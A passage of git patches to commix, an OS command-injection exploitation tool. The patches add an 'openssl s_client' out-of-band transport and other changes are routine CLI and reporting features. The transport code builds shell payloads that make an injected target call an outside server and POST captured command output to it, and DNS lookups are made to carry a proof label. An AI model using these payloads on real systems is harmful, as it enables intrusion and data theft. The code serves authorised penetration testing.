+114,34 @@ def _ruby_prog(hostname, from_stdin=False, proof=""): return ("ruby -rnet/http -ropenssl -e \"u=URI('" + url + "');h=Net::HTTP.new(u.host,u.port);" "h.use_ssl=(u.scheme=='https');h.verify_mode=OpenSSL::SSL::VERIFY_NONE;h." + verb + "\"") +""" +Build the 's_client' command a payload runs, writing the request onto the connection itself. + +The client of last resort: a host with no curl, no wget and no interpreter at all still tends to +have this one, and unlike a raw socket it speaks TLS, so it reaches a server over HTTPS as well. + +'-quiet' is deliberately not passed. It implies '-ign_eof', which holds the connection open after +the request has gone instead of letting it close - and nothing here reads the answer, since what +proves the command ran is the request arriving at the server, which has happened by then. Left to +close on end of input, this cannot sit holding one of the target's own workers open waiting. +""" +def _openssl_cmd(hostname, cmd=None, proof=""): + scheme = settings.OOB_SCHEME or "https" + port = str(settings.OOB_PORT or (443 if scheme == "https" else 80)) + connect = (PIPE + "openssl s_client -connect " + hostname + ":" + port + + " -servername " + hostname + " 2>/dev/null") + # Double quoted, so the shell works the sum out before 'printf' is handed the request line. + if cmd is None: + return "printf \"GET /" + proof + " HTTP/1.0\\r\\nHost: " + hostname + "\\r\\n\\r\\n\"" + connect + """ + The output is read into a variable before any of it is sent, because the length has to go in the + header that precedes it and '${#name}' is the one way to count it that every POSIX shell has. + Sending it without that header would leave the body for the receiving end to read off a closed + connection, which is not something an HTTP server is obliged to do. + """ + return ("OOBLEN=$(" + cmd + ");printf \"POST / HTTP/1.0\\r\\nHost: " + hostname + + "\\r\\nContent-Length: ${#OOBLEN}\\r\\n\\r\\n%s\" \"$OOBLEN\"" + connect) + """ Build the command that makes the target contact a hostname, carrying a sum for it to evaluate. """ @@ -128,6 +156,8 @@ def reach_command(transport, hostname, proof="", separator=OR): return _php_prog(hostname, proof=proof) if transport == "ruby": return _ruby_prog(hostname, proof=proof) + if transport == "openssl": + return _openssl_cmd(hostname, proof=proof) if transport == "dns": # Resolving the name is enough to prove execution, and needs no HTTP client at all. return dns_lookup_command(hostname, separator) @@ -220,7 +250,8 @@ def transport_of(payload): # that filler back out before looking for one. normalized = re.sub(r'""|\^|\\|\$@', "", payload) for transport, marker in (("python", "urllib.request"), ("php", "file_get_contents"), - ("ruby", "VERIFY_NONE"), ("dns", "nslookup"), ("curl", "curl"), + ("ruby", "VERIFY_NONE"), ("openssl", "s_client"), + ("dns", "nslookup"), ("curl", "curl"), ("wget", "wget"), ("powershell", "powershell")): if marker in normalized: return transport @@ -316,7 +347,7 @@ def heuristic_payload(channel, target_os): Report whether a transport can carry a computation the receiving end can check. """ def supports_proof(transport): - return transport in ("curl", "wget", "python", "powershell", "php", "ruby") + return transport in ("curl", "wget", "python", "powershell", "php", "ruby", "openssl") """ Build a sum for the target to evaluate, returned as (expression, expected result, prologue). The @@ -370,7 +401,7 @@ def proof(transport, plus=PLUS): Report whether a transport can carry command output back. """ def supports_exfiltration(transport): - return transport in ("curl", "wget", "python", "powershell", "dns", "php", "ruby") + return transport in ("curl", "wget", "python", "powershell", "dns", "php", "ruby", "openssl") """ Hex characters per label, so a name stays inside the 253 bytes a DNS query has for it. Even, so a @@ -460,6 +491,10 @@ def exfil_command(transport, hostname, cmd, pipe=PIPE, separator=""): return grouped + pipe + _php_prog(hostname, from_stdin=True) if transport == "ruby": return grouped + pipe + _ruby_prog(hostname, from_stdin=True) + if transport == "openssl": + # Handed the command rather than a pipe: the length header has to be written before the body, + # so the output is counted first instead of being streamed straight onto the connection. + return _openssl_cmd(hostname, cmd=cmd) if transport == "powershell": # Out-String joins the lines into one body. return ("powershell.exe -c iwr -Uri " + _url(hostname) + " -Method POST -Body " diff --git a/src/utils/settings.py b/src/utils/settings.py index 551c771d07..6a17866a9a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "211" +REVISION = "212" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 33a4f5a250e449cd94b7b6ebb4730ce0000ebed8 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 10 Oct 2026 12:53:09 +0300 Subject: [PATCH 0884/1023] Update settings.py --- src/utils/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 6a17866a9a..d0617b5750 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "212" +REVISION = "213" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2f2b6aafdd13afc3a667261abe2d91fd34199c3b Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 10 Oct 2026 12:54:14 +0300 Subject: [PATCH 0885/1023] Trivial update --- src/core/controller/checks.py | 14 ++++++++++++- src/core/techniques/oob/oob_payloads.py | 27 +++++++++++++++++++++---- src/utils/settings.py | 2 +- 3 files changed, 37 insertions(+), 6 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index be67e1cd74..1ece082730 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -6673,10 +6673,22 @@ def windows_boolean_probe(chain, cmd, operator, expected): def oob_proof_holds(interactions, expected): if not expected: return bool(interactions) + """ + Compared without regard to case, because a name lookup is not guaranteed to arrive spelled the way + it was sent - a resolver is free to change the case of what it forwards, which is the same reason + the output a lookup carries is encoded in lowercase hex before it goes out. + """ + expected = expected.lower() for interaction in interactions: + # A lookup has no request line to read: what it carries is the name that was resolved, and the + # sum rides in a label of its own in front of the token. + if (interaction.protocol or "").lower() == "dns": + if expected in (interaction.identifier or "").lower(): + return True + continue lines = (interaction.raw_request or "").splitlines() # Only the request line, so that a number appearing in a header cannot stand in for the result. - if lines and expected in lines[0]: + if lines and expected in lines[0].lower(): return True return False diff --git a/src/core/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py index d5c195a759..d9711f2f13 100644 --- a/src/core/techniques/oob/oob_payloads.py +++ b/src/core/techniques/oob/oob_payloads.py @@ -42,6 +42,10 @@ # changes. They are asked once a boundary is confirmed, where a target without the common ones still # needs something that carries output back whole rather than a name at a time. FALLBACK_TRANSPORTS = ("php", "ruby", "openssl") +# 's_client' opens a TLS connection and has no plaintext mode, so this one has nothing to offer a +# server reached over plain HTTP - it would hand a TLS handshake to a port that speaks none, and +# fail every time. Left out wherever the scheme in use is not HTTPS. +TLS_ONLY_TRANSPORTS = ("openssl",) # 'curl.exe' leads on Windows, where it has shipped in System32 since Windows 10 1803: unlike a # name lookup it carries command output back, and it is quick to give up where a host has no way # out. A lookup follows, present on every Windows and the one confirmed against a real target. @@ -52,6 +56,14 @@ # probe only where the sweep has nothing else left to try - never for a yes/no a lookup has answered. SLOW_TRANSPORTS = ("powershell",) +""" +Report whether a transport can be used at all over the scheme the server is reached on. +""" +def scheme_allows(transport): + if transport in TLS_ONLY_TRANSPORTS: + return (settings.OOB_SCHEME or "https") == "https" + return True + """ The URL a payload sends the target to, over the same scheme the out-of-band server is reached on. """ @@ -160,7 +172,7 @@ def reach_command(transport, hostname, proof="", separator=OR): return _openssl_cmd(hostname, proof=proof) if transport == "dns": # Resolving the name is enough to prove execution, and needs no HTTP client at all. - return dns_lookup_command(hostname, separator) + return dns_lookup_command(hostname, separator, proof=proof) if transport == "powershell": # 'iwr' only exists from PowerShell 3.0, while Net.WebClient goes back to 1.0. The URL keeps # the single quotes cmd.exe passes through untouched - a double quoted one arrives stripped of @@ -178,7 +190,12 @@ def reach_command(transport, hostname, proof="", separator=OR): that filters some other operator does not defeat the separator that would have worked; where there is nothing to chain with, only the likeliest command is sent. """ -def dns_lookup_command(hostname, separator=OR): +def dns_lookup_command(hostname, separator=OR, proof=""): + # The sum rides in a label of its own in front of the name, which is the only place a lookup has + # to put anything. The shell works it out before the name is resolved, so what reaches the server + # is the result rather than the expression - the same thing the URL carries for an HTTP client. + if proof: + hostname = proof + "." + hostname if settings.TARGET_OS == settings.OS.WINDOWS: return "nslookup " + hostname commands = ["nslookup " + hostname, "getent hosts " + hostname, "host " + hostname, "ping -c1 " + hostname] @@ -269,6 +286,7 @@ def transports(): # whether a target has one of these is not something a boundary changes. They are asked once a # boundary is confirmed instead, through 'upgrade_candidates()'. order = [candidate for candidate in order if candidate not in FALLBACK_TRANSPORTS] + order = [candidate for candidate in order if scheme_allows(candidate)] if menu.options.interpreter and "python" in order: order.remove("python") order.insert(0, "python") @@ -306,7 +324,8 @@ def tried_http_clients(): """ def exfiltration_alternatives(transport): order = WINDOWS_TRANSPORTS if settings.TARGET_OS == settings.OS.WINDOWS else UNIX_TRANSPORTS - return [candidate for candidate in order if candidate != transport and supports_exfiltration(candidate)] + return [candidate for candidate in order + if candidate != transport and supports_exfiltration(candidate) and scheme_allows(candidate)] """ The interaction a transport has to produce to count as working. Resolving the name is not enough @@ -347,7 +366,7 @@ def heuristic_payload(channel, target_os): Report whether a transport can carry a computation the receiving end can check. """ def supports_proof(transport): - return transport in ("curl", "wget", "python", "powershell", "php", "ruby", "openssl") + return transport in ("curl", "wget", "python", "powershell", "php", "ruby", "openssl", "dns") """ Build a sum for the target to evaluate, returned as (expression, expected result, prologue). The diff --git a/src/utils/settings.py b/src/utils/settings.py index d0617b5750..ccc3941355 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "213" +REVISION = "214" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5342e5cf6881eb3b27c2032359328349beca661a Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 12 Oct 2026 07:56:23 +0300 Subject: [PATCH 0886/1023] Added new switch `--dependencies` for reporting which of the third-party libraries and tools each option needs are installed on this host --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 52 +++++++++++++++++++++++++++++++++++ src/core/main.py | 5 ++++ src/core/options.py | 4 +-- src/core/parse/cmdline.py | 30 ++++++++++++++++++++ src/core/parse/configfile.py | 2 +- src/utils/settings.py | 2 +- 7 files changed, 92 insertions(+), 4 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index bbfedb1cf1..25c115c389 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New switch `--dependencies` for reporting which of the third-party libraries and tools each option needs are installed on this host. * Added: Support for reaching the out-of-band server through the `--oob-transport` clients `php`, `ruby` and `openssl`. * Added: New switch `--jwt` for auditing the request's JSON Web Token, testing its `kid` as an injection point. * Added: A directory-choice menu for the file-based technique's writable-directory prompt, trying every candidate before falling back to `/tmp/`. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 1ece082730..236d651c33 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2744,6 +2744,58 @@ def third_party_dependencies(): settings.print_data_to_stdout(settings.print_error_msg(err_msg)) pass +""" +True when the given module can be imported on this host, without importing it. +""" +def _dependency_available(name): + import importlib.util + try: + return importlib.util.find_spec(name) is not None + except (ImportError, AttributeError, ValueError): + return False + +""" +Lists the third-party dependencies, saying which of them this host already has. +""" +def list_dependencies(): + import shutil + + info_msg = "Checking for third-party dependencies." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # Named after whichever one is providing it, or after the one to install where none is. + readline_module = ("gnureadline", "pyreadline")[settings.IS_WINDOWS] + for module in ("readline", readline_module): + if _dependency_available(module): + readline_module = module + break + + rows = [ + ("sqlite3", _dependency_available("sqlite3"), + "Storing the injection points and commands of previous runs."), + (readline_module, _dependency_available(readline_module), + "TAB completion and command history in the shells."), + ("yaml", _dependency_available("yaml"), + "Reading an OpenAPI description written in YAML ('--openapi')."), + ("git", shutil.which("git") is not None, + "Updating to the latest revision ('--update')."), + ("metasploit-framework", os.path.exists(settings.METASPLOIT_PATH), + "Handing a session over to Metasploit ('--msf-path')."), + ] + + menu.print_dependency_table("Third-party dependencies", rows) + + missing = [name for name, installed, _ in rows if not installed] + if not missing: + info_msg = "Every third-party dependency is installed." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + # Said as a warning rather than an error: all but 'sqlite3' are optional, and each one that is + # absent costs only the option named beside it. + warn_msg = "Missing third-party dependenc" + ("ies", "y")[len(missing) == 1] + ": " + warn_msg += ", ".join("'" + name + "'" for name in missing) + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Print the authentiation error message. """ diff --git a/src/core/main.py b/src/core/main.py index 822a6228ba..2b1e38c2c8 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -864,6 +864,11 @@ def run(): checks.no_readline_module() raise SystemExit() + # Check if defined "--dependencies" option. + if menu.options.dependencies: + checks.list_dependencies() + raise SystemExit() + # Check if defined "--ignore-dependencies" option. if not menu.options.ignore_dependencies: checks.third_party_dependencies() diff --git a/src/core/options.py b/src/core/options.py index f7333f25f9..871d9a9806 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -47,9 +47,9 @@ def validate(): # Check for missing mandatory option(s). if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ menu.options.requestfile, menu.options.sitemap_url, menu.options.openapi, menu.options.wizard, \ - menu.options.update, menu.options.list_tampers)): + menu.options.update, menu.options.list_tampers, menu.options.dependencies)): if not menu.options.purge: - err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --openapi, --wizard, --update, --list-tampers or --purge). " + err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --openapi, --wizard, --update, --list-tampers, --dependencies or --purge). " err_msg += "Use -h for basic and -hh for advanced help." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index cdbf45197f..67af73e6b0 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -1079,6 +1079,12 @@ def banner(): # Miscellaneous options misc = OptionGroup(parser, "Miscellaneous") +misc.add_option("--dependencies", + action="store_true", + dest="dependencies", + default=False, + help="Check for missing (optional) third-party dependencies.") + misc.add_option("--ignore-dependencies", action="store_true", dest="ignore_dependencies", @@ -1385,6 +1391,30 @@ def print_module_table(title, items): settings.print_data_to_stdout(message.rstrip() + "\n") +""" +Render a Name/Installed/Description table for the third-party dependencies. +""" +def print_dependency_table(title, rows): + name_width = max(len("Name"), max(len(name) for name, _, _ in rows)) + installed_width = len("Installed") + + message = ( + title + "\n" + + "=" * len(title) + "\n\n" + + " " + "Name".ljust(name_width) + " " + "Installed".ljust(installed_width) + " Description\n" + + " " + ("-" * len("Name")).ljust(name_width) + " " + "-" * installed_width + " " + "-" * len("Description") + "\n" + ) + + for name, installed, description in rows: + message += ( + " " + + name.ljust(name_width) + + " " + ("no", "yes")[installed].ljust(installed_width) + + " " + description + "\n" + ) + + settings.print_data_to_stdout(message.rstrip() + "\n") + """ Render a "show options"-style table: Name / Current Setting / Required / Description. """ diff --git a/src/core/parse/configfile.py b/src/core/parse/configfile.py index dc67c53f12..77e02bde97 100644 --- a/src/core/parse/configfile.py +++ b/src/core/parse/configfile.py @@ -37,7 +37,7 @@ loading it, and the ones that print something and end the run. """ IGNORED = ("config_file", "save_config", "version", "install", "update", "advanced_help", - "list_tampers", "purge", "smoke_test", "wizard") + "list_tampers", "dependencies", "purge", "smoke_test", "wizard") """ Every option the parser knows, as {group title: [(destination, option)]}. diff --git a/src/utils/settings.py b/src/utils/settings.py index ccc3941355..bf480624f0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "214" +REVISION = "215" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e73b6473899bcf964c3460691afb81dac01ac7d4 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 12 Oct 2026 10:48:45 +0300 Subject: [PATCH 0887/1023] Added new option `-z` for naming options by as much of their name as tells them apart (e.g. `-z "flu,bat,tec=rt"`) --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 3 +- src/core/parse/cmdline.py | 100 +++++++++++++++++++++++++++++++++- src/core/parse/configfile.py | 2 +- src/utils/settings.py | 2 +- 5 files changed, 103 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 25c115c389..24d32cae57 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New option `-z` for naming options by as much of their name as tells them apart (e.g. `-z "flu,bat,tec=rt"`). * Added: New switch `--dependencies` for reporting which of the third-party libraries and tools each option needs are installed on this host. * Added: Support for reaching the out-of-band server through the `--oob-transport` clients `php`, `ruby` and `openssl`. * Added: New switch `--jwt` for auditing the request's JSON Web Token, testing its `kid` as an injection point. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 236d651c33..d67d0bf753 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2779,7 +2779,8 @@ def list_dependencies(): "Reading an OpenAPI description written in YAML ('--openapi')."), ("git", shutil.which("git") is not None, "Updating to the latest revision ('--update')."), - ("metasploit-framework", os.path.exists(settings.METASPLOIT_PATH), + # Read here rather than from settings, which is not given '--msf-path' until later on. + ("metasploit-framework", os.path.exists(menu.options.msf_path or settings.METASPLOIT_PATH), "Handing a session over to Metasploit ('--msf-path')."), ] diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 67af73e6b0..a56c531d35 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -18,6 +18,7 @@ import glob from src.utils import settings from optparse import OptionGroup +from optparse import OptionValueError from optparse import OptionParser from optparse import SUPPRESS_HELP as SUPPRESS from src.thirdparty.colorama import Fore, Style, init @@ -1079,6 +1080,11 @@ def banner(): # Miscellaneous options misc = OptionGroup(parser, "Miscellaneous") +misc.add_option("-z", + action="store", + dest="mnemonics", + help="Use short mnemonics (e.g. 'flu,bat,tec=rt').") + misc.add_option("--dependencies", action="store_true", dest="dependencies", @@ -1220,6 +1226,90 @@ def truncate_option_strings(self, *args): option.help = option.help.capitalize().replace("Show this help message and exit", "Show help and exit.") # Listed by its short form alone, the way every other switch is, while '--help' keeps working. option._long_opts = [] +""" +How much of an option's name a mnemonic spelled, so that the shortest spelling settles a tie. +""" +def _mnemonic_length(option, name): + return min(len(spelling.strip("-")) for spelling in option._long_opts + option._short_opts + if spelling.strip("-").startswith(name)) + +""" +Expand the short mnemonics of '-z' into the options they name. + +A long command line is mostly repetition - the same handful of options, spelled out in full every +time it is typed again. A mnemonic is as much of a name as it takes to tell one option apart from +every other, so 'flu,bat,tec=rt' says what '--flush-session --batch --technique=rt' says. + +What was set is handed back, because a few options are read off the command line itself rather than +off their value - one of those, named as a mnemonic, is otherwise nowhere to be seen. +""" +def expand_mnemonics(mnemonics, parser, options): + applied = set() + # Every option filed under each prefix of every name it answers to, so that a mnemonic lands + # directly on the options it could still be. Dashes are left out, as a mnemonic carries none. + by_prefix = {} + for option_list in [parser.option_list] + [group.option_list for group in parser.option_groups]: + for option in option_list: + for spelling in option._long_opts + option._short_opts: + prefix = "" + for char in spelling: + if char == "-": + continue + prefix += char + if option not in by_prefix.setdefault(prefix, []): + by_prefix[prefix].append(option) + + for mnemonic in (mnemonics or "").split(","): + name = mnemonic.split("=")[0].replace("-", "").strip() + value = mnemonic.split("=", 1)[1] if "=" in mnemonic else None + if not name: + continue + + candidates = by_prefix.get(name, []) + if not candidates: + err_msg = "The mnemonic '" + name + "' does not name any option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + option = candidates[0] + if len(candidates) > 1: + # A mnemonic that is also a name in full means that one; otherwise the shortest name it + # could be is taken, and said out loud, because the other readings were just as available. + spelled_out = [_ for _ in candidates if name in [spelling.strip("-") for spelling in _._long_opts + _._short_opts]] + if spelled_out: + option = spelled_out[0] + else: + option = sorted(candidates, key=lambda _: _mnemonic_length(_, name))[0] + warn_msg = "The mnemonic '" + name + "' names " + warn_msg += ", ".join("'" + (_._long_opts + _._short_opts)[0] + "'" for _ in candidates) + warn_msg += ", and is read as '" + (option._long_opts + option._short_opts)[0] + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + spelling = (option._long_opts + option._short_opts)[0] + applied.add(option.dest) + if option.action == "store_true": + setattr(options, option.dest, True) + elif option.action == "store_false": + setattr(options, option.dest, False) + elif value is None and option.dest == "eval_sink": + # Read the way a bare '--eval' is read below: the language is what is optional about it. + setattr(options, option.dest, settings.EVAL_ALL_LANGUAGES) + elif value is None: + err_msg = "The mnemonic '" + name + "' names '" + spelling + "', which is given a value " + err_msg += "(e.g. '" + name + "=...')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + else: + try: + setattr(options, option.dest, option.convert_value(spelling, value)) + except OptionValueError: + err_msg = "The mnemonic '" + name + "' gives '" + spelling + "' the value '" + value + err_msg += "', which is not " + ("an " if str(option.type).startswith(("a", "e", "i", "o", "u")) else "a ") + str(option.type) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + return applied + """ Spellings that are not commix's own, taken as the option they were meant to be. @@ -1254,6 +1344,12 @@ def truncate_option_strings(self, *args): settings.print_data_to_stdout("\n" + Style.BRIGHT + Style.UNDERLINE + "To see the full list of options run with '-hh'." + Style.RESET_ALL + "\n") raise +# Read first, because everything below works out what the run is from the options, and a mnemonic +# is one of them having been given. +_from_mnemonics = set() +if options.mnemonics: + _from_mnemonics = expand_mnemonics(options.mnemonics, parser, options) + # Every registered module gets a switch of its own to be read through, whether or not '--module' # named it - the heuristic turns one on by itself where the target looks like it calls for it. # Resolved here rather than with the other option checks, because the startup that runs before @@ -1276,8 +1372,8 @@ def truncate_option_strings(self, *args): settings.USER_APPLIED_WEB_ROOT = bool(options.web_root) # Remember whether '--retries' was explicitly supplied, since it carries a default of its own -settings.USER_APPLIED_RETRIES = "retries" in _from_config or any(_ in sys.argv for _ in ("--retries",)) or any(_.startswith("--retries=") for _ in sys.argv) -settings.USER_APPLIED_TIMEOUT = "timeout" in _from_config or any(_ in sys.argv for _ in ("--timeout",)) or any(_.startswith("--timeout=") for _ in sys.argv) +settings.USER_APPLIED_RETRIES = "retries" in _from_config or "retries" in _from_mnemonics or any(_ in sys.argv for _ in ("--retries",)) or any(_.startswith("--retries=") for _ in sys.argv) +settings.USER_APPLIED_TIMEOUT = "timeout" in _from_config or "timeout" in _from_mnemonics or any(_ in sys.argv for _ in ("--timeout",)) or any(_.startswith("--timeout=") for _ in sys.argv) # Remember whether '--auth-cred'/'--auth-type' were explicitly supplied on the CLI settings.USER_APPLIED_COOKIE = options.cookie or "" diff --git a/src/core/parse/configfile.py b/src/core/parse/configfile.py index 77e02bde97..0b0d00dc2c 100644 --- a/src/core/parse/configfile.py +++ b/src/core/parse/configfile.py @@ -37,7 +37,7 @@ loading it, and the ones that print something and end the run. """ IGNORED = ("config_file", "save_config", "version", "install", "update", "advanced_help", - "list_tampers", "dependencies", "purge", "smoke_test", "wizard") + "list_tampers", "dependencies", "mnemonics", "purge", "smoke_test", "wizard") """ Every option the parser knows, as {group title: [(destination, option)]}. diff --git a/src/utils/settings.py b/src/utils/settings.py index bf480624f0..5a62cdc939 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "215" +REVISION = "216" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From bbc2d645da4cdb65b6b7ed2f09387db01316d789 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 13 Oct 2026 06:17:54 +0300 Subject: [PATCH 0888/1023] Various fixes, improvements, and updates --- src/core/startup.py | 17 +++++++++++ src/utils/logs.py | 70 ++++++++++++++++++++++++++++++++++++++++--- src/utils/settings.py | 12 +++++++- 3 files changed, 94 insertions(+), 5 deletions(-) diff --git a/src/core/startup.py b/src/core/startup.py index 785aee941a..9eb8abd60e 100644 --- a/src/core/startup.py +++ b/src/core/startup.py @@ -16,8 +16,11 @@ import os import sys import signal +from datetime import date +from datetime import datetime from src.utils import common +from src.utils import logs from src.utils import settings from src.utils import version from src.core.parse import cmdline as menu @@ -68,10 +71,24 @@ def bootstrap(): def _time_limit_reached(signum, frame): err_msg = "Reached the specified time limit of " + str(menu.options.time_limit) + " second(s)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # What was found before the cutoff is still what was found - left unwritten, a bounded run + # hands back nothing at all, and reads the same as one that found nothing. + logs.write_report(settings.REPORT_STATUS_TIME_LIMIT) os._exit(0) signal.signal(signal.SIGALRM, _time_limit_reached) signal.alarm(max(1, int(round(menu.options.time_limit)))) + # Asked to stop by something other than a keyboard - another process, a container shutting down, + # whatever started this run deciding it has had long enough. Ctrl-C is left alone: it has menus of + # its own, and a person at the keyboard to read them. + def _terminated(signum, frame): + logs.write_report(settings.REPORT_STATUS_TERMINATED) + os._exit(settings.EXIT_FAILURE) + settings.REPORT_STARTED = str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") + logs.open_report() + if hasattr(signal, "SIGTERM"): + signal.signal(signal.SIGTERM, _terminated) + if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.execution("Starting")) diff --git a/src/utils/logs.py b/src/utils/logs.py index f1745e547d..46950e528f 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -113,6 +113,7 @@ def create_log_file(url, output_dir): http_request_method = settings.HTTPMETHOD.POST if menu.options.data else settings.HTTPMETHOD.GET command = " ".join(shlex.quote(_) for _ in sys.argv) started = str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") + settings.REPORT_STARTED = settings.REPORT_STARTED or started try: with open(filename, 'w' if menu.options.flush_session else 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: @@ -136,7 +137,9 @@ def create_log_file(url, output_dir): "http_method": http_request_method, "command": command, "started": started, + "status": settings.REPORT_STATUS_RUNNING, } + flush_report() return filename @@ -171,12 +174,60 @@ def add_line(filename, text, group=""): def report_active(): return settings.REPORT_JSON is not None +""" +Write what the report holds so far, so that a run still going can be read while it goes. + +Quietly, unlike the write that ends a run: a reader that is watching the file has somewhere to look +either way, and a path that cannot be written is reported once, at the end, rather than at every +finding on the way there. +""" +def flush_report(): + if not report_active(): + return + try: + _write_report_file() + except (IOError, OSError): + pass + +""" +Put the report where it was asked for, in one move. + +Written beside it and renamed over it, rather than into it: a report is rewritten from the top every +time it grows, and a reader watching it would otherwise be free to read it halfway through one. +""" +def _write_report_file(): + directory = os.path.dirname(os.path.abspath(menu.options.report_json)) or "." + handle, path = tempfile.mkstemp(dir=directory, prefix=".report-", suffix=".json") + try: + with os.fdopen(handle, 'w', encoding=settings.DEFAULT_CODEC) as output_file: + json.dump(settings.REPORT_JSON, output_file, indent=2, ensure_ascii=False) + os.replace(path, menu.options.report_json) + except (IOError, OSError): + if os.path.exists(path): + os.unlink(path) + raise + +""" +Open the report as the run begins, so that a reader is never left telling "not started yet" apart +from "never asked for" by the absence of a file. +""" +def open_report(): + if not menu.options.report_json or report_active(): + return + settings.REPORT_JSON = { + "target": menu.options.url or "", + "started": settings.REPORT_STARTED, + "status": settings.REPORT_STATUS_RUNNING, + } + flush_report() + """ Record a single fact (hostname, current user, OS, ...) into the JSON report. """ def report_set_info(key, value): if report_active(): settings.REPORT_JSON.setdefault("info", {})[key] = value + flush_report() """ Record one enumerated item (a user, a privilege row, a password hash, ...) into the JSON report. @@ -184,6 +235,7 @@ def report_set_info(key, value): def report_add_enumeration(category, item): if report_active(): settings.REPORT_JSON.setdefault("enumeration", {}).setdefault(category, []).append(item) + flush_report() """ Record one extracted file's content into the JSON report. @@ -191,6 +243,7 @@ def report_add_enumeration(category, item): def report_add_file(path, content): if report_active(): settings.REPORT_JSON.setdefault("files", []).append({"path": path, "content": content}) + flush_report() """ Add a confirmed finding in log files, in the same format the console summary prints it. @@ -231,6 +284,7 @@ def add_finding(filename, injection_type, technique, http_request_method, vuln_p if caveats: finding["reproduce_caveats"] = caveats settings.REPORT_JSON.setdefault("findings", []).append(finding) + flush_report() """ Settle which CSV the findings of a run over several targets are collected in. @@ -309,6 +363,7 @@ def executed_command(filename, cmd, output): add_line(filename, str(output.encode(settings.DEFAULT_CODEC).decode()), group="command:" + cmd) if report_active(): settings.REPORT_JSON.setdefault("commands", []).append({"command": cmd, "output": output}) + flush_report() """ Fetched data logged to text files. @@ -344,9 +399,17 @@ def add_footer(filename): """ Write the accumulated --report-json data to the requested file. """ -def write_report(): - if not report_active(): +def 